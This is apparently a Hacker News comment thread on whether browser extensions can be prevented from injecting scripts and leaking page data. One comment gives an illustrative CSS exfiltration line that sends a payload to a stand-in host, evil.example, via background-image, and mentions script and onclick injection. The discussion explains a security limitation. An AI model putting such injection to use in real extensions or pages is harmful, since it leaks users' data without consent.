7 ms·
> they can inject arbitrary scripts into pages to make requests for them disallow that behavior? You could also just pull that code but it might change based
by Triv888 6y ago
> they can inject arbitrary scripts into pages to make requests for them
disallow that behavior?
You could also just pull that code but it might change based on request origin...
- fennecfoxen 6y agoLots of the best extensions are basically "change this webpage when it loads to make it work better." You can't "disallow this behavior" without crippling them.
- Triv888 6y agoIt could do all the processing locally, easily... what are you talking about?
- gruez 6y ago>It could do all the processing locally, easily... That's irrelevant. If you can make changes to the page, you can exfiltrate data. The security model for addons isn't designed with restricting an addon's network activity in mind, see my other post: https://news.ycombinator.com/item?id=25623281 https://news.ycombinator.com/item?id=25623281
- gruez 6y agoDepends on what your addons does. Most addons modify the page in some way. It's also not limited to injecting javascript. You can also exfiltrate data by injecting css (eg. doing something like background-image: url("http://evil.example/?payload= http://evil.example/?payload=...")) or do javascript injection in alternate ways (eg. adding a <script> element, or adding an onclick attribute).
- shawnz 6y agoThat's one of the most fundamental functions a browser extension could have